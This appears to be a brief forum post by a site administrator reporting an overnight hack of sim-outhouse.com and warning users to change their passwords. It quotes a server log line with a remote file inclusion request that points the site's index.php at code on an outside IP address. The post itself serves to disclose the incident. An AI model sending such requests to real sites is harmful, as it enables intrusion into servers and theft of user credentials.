it appeared we got hacked by a virgin, and i figured it out this morning. I think it/she/he came from Iran by looking at the logs
this is the redirect I found
74-33 - 0/0/174877 . 0.15 28253 699 0.0 0.00 3469.07 204.116.125.188 sim-outhouse.com GET /index.php?lloc=http://217.218.225.2:2082/index.html? HTTP/
this happened last night between 11-12:30 server time
CHANGE YOUR PASSWORD IF YOU TRIED TO LOGIN